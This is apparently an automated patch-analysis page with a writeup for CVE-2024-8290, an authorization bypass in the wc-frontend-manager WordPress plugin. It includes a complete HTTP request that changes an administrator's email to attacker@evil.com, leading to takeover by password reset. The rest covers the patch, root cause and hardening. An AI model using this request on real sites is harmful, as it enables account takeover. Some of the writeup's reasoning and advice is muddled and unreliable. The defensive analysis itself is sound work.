ANALYSIS · ac52ebad· FINISHED 2026-06-13 · PATCHDIFF

wc-frontend-manager6.7.12 → 6.7.13✓ COMPLETED

Files11

Vulnerable4

True positives0

CVE matched1

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2024-8290

FILTERS 0

SEARCH

STATUS

JUDGE

CVE MATCH

EXTENSION

CWE

OPTIONS

Hide “No vulnerability” Hide unjudged

SCOPE

All 11 CVE 1 Vuln 4

SORT

1 files · page 1/1

controllers/customers/wcfm-controller-customers-manage.php

AI: 1 vulnerabilities

CWE-639: Authorization Bypass Through User-Controlled Key CVE-2024-8290

#%!d(float64=001)

1–1 of 1

⌖

Select a file from the list to inspect its diff and AI analysis.

↑ ↓ to navigate

CVES 1

CVE-2024-8290

Security writeup for CVE-2024-8290

✓ 1 FILE

## The Exploit

An authenticated subscriber or customer-level user can modify the email address of any WordPress user account, including administrators, by sending a direct object reference bypass to the WCFM customer management endpoint.

```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in=<subscriber_session>

action=wcfm_ajax_controller&controller=customers-manage&method=processing&wcfm_customer_form_data[customer_id]=1&wcfm_customer_form_data[email]=attacker@evil.com&wcfm_customer_form_data[first_name]=Pwned&security=<nonce>
```

The request succeeds with a 200 response containing `{"status":true}`. The administrator account with ID 1 now has its email changed to `attacker@evil.com`. The attacker then requests a password reset on the WordPress login page, receives the reset link at the attacker-controlled email, and gains full administrative access to the site.

## What the Patch Did

**Before**

```php
if( isset($wcfm_customer_form_data['customer_id']) && $wcfm_customer_form_data['customer_id'] != 0 ) {
    $customer_id = absint( $wcfm_customer_form_data['customer_id'] );
    $is_update = true;
}
```

**After**

```php
if (isset($wcfm_customer_form_data['customer_id']) && $wcfm_customer_form_data['customer_id'] != 0) {
    $customer_id = absint($wcfm_customer_form_data['customer_id']);

// Check valid customer user role for $customer_id
    $customer = get_user_by('id', $customer_id);
    if ($customer && !in_array(apply_filters('wcfm_added_customer_user_role', 'customer'), $customer->roles)) {
        $has_error = true;
        echo '{"status": false, "message": "' . $wcfm_customer_messages['invalid_customer'] . '"}';
        return;
    }

// check if a vendor can update this customer
    if( wcfm_is_vendor() ) {
        $is_customer_for_vendor = $WCFM->wcfm_vendor_support->wcfm_is_component_for_vendor( $customer_id, 'customer' );
        if( !$is_customer_for_vendor ) {
            $has_error = true;
            echo '{"status": false, "message": "' . $wcfm_customer_messages['invalid_customer'] . '"}';
            return;
        }
    }

$is_update = true;
}
```

The patch added a role-based access control check using `get_user_by('id', $customer_id)` and `in_array(..., $customer->roles)` to verify the target user actually holds the 'customer' role before permitting modification. It also introduced a second validation gate via `wcfm_is_component_for_vendor()` to enforce that multi-vendor contexts respect vendor-customer ownership boundaries. Both checks use early `return` statements to halt processing if authorization fails, preventing silent bypass.

## Root Cause

**CWE-639: Authorization Bypass Through User-Controlled Key.** The vulnerability flows from the `wcfm_customer_form_data['customer_id']` POST parameter directly into the `processing` function without any authorization check. An attacker-controlled integer ID passes `absint()` sanitization (which only removes non-numeric characters) and is immediately used as the target for user profile updates. The trust boundary violation occurs at the moment the code assumes any authenticated subscriber can modify any user record by simply sending their ID. The plugin fails to verify that the target ID actually belongs to a customer role, nor does it check multi-vendor membership. This allows privilege escalation: a low-privileged subscriber modifies a high-privileged administrator account.

## Why It Works

The load-bearing line is the role validation: `if ($customer && !in_array(apply_filters('wcfm_added_customer_user_role', 'customer'), $customer->roles))`. Removing this check alone leaves the exploit functional because an attacker could still reference admin ID 1 and modify it. The vendor check (`wcfm_is_component_for_vendor()`) is defense-in-depth for multi-vendor setups but is secondary; the role check is the mandatory gate. The engineer added the vendor ownership check because in a marketplace context, a vendor should only manage customers they've explicitly added or interacted with, not all customers in the system. Without the vendor check, a compromised vendor account could still escalate to administrator by changing a shop manager's email. Together, both checks enforce the principle of least privilege: subscribers manage no one, vendors manage only their customers, and implicit trust in a user-supplied ID is eliminated.

## Hardening Checklist

- **Use `current_user_can()` instead of role-checking manually.** Replace the `in_array(..., $customer->roles)` pattern with `current_user_can('manage_woocommerce_customers')` or equivalent capability checks to leverage WordPress' built-in capability system and avoid reimplementing authorization logic.

- **Implement `wp_verify_nonce()` validation.** The PoC required a `security` nonce parameter; verify it using `wp_verify_nonce($_POST['security'], 'wcfm_customer_nonce')` before processing any state-changing request to prevent CSRF escalation.

- **Audit all `$_POST` and `$_GET` integers used as database lookups.** Search for patterns like `absint($_POST['*_id'])` followed immediately by queries. Add an authorization check after the sanitization step, before the database operation.

- **Use `wp_get_current_user()` and check `user_has_cap()`** to centralize permission checks at the start of the controller function, not scattered across multiple branches.

- **Add logging for failed authorization attempts.** When a user attempts to modify another user's record, log the attempt with `error_log()` or a security plugin hook so suspicious patterns are visible to site administrators.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2024-8290

CVE CVE-2024-8290

PRODUCT wc-frontend-manager

AFFECTED ≤ 6.7.12

FIXED IN 6.7.13

STATUS Generated

Security writeup · CVE-2024-8290

Source files · 1

controllers/customers/wcfm-controller-customers-manage.php Linked

↗ NVD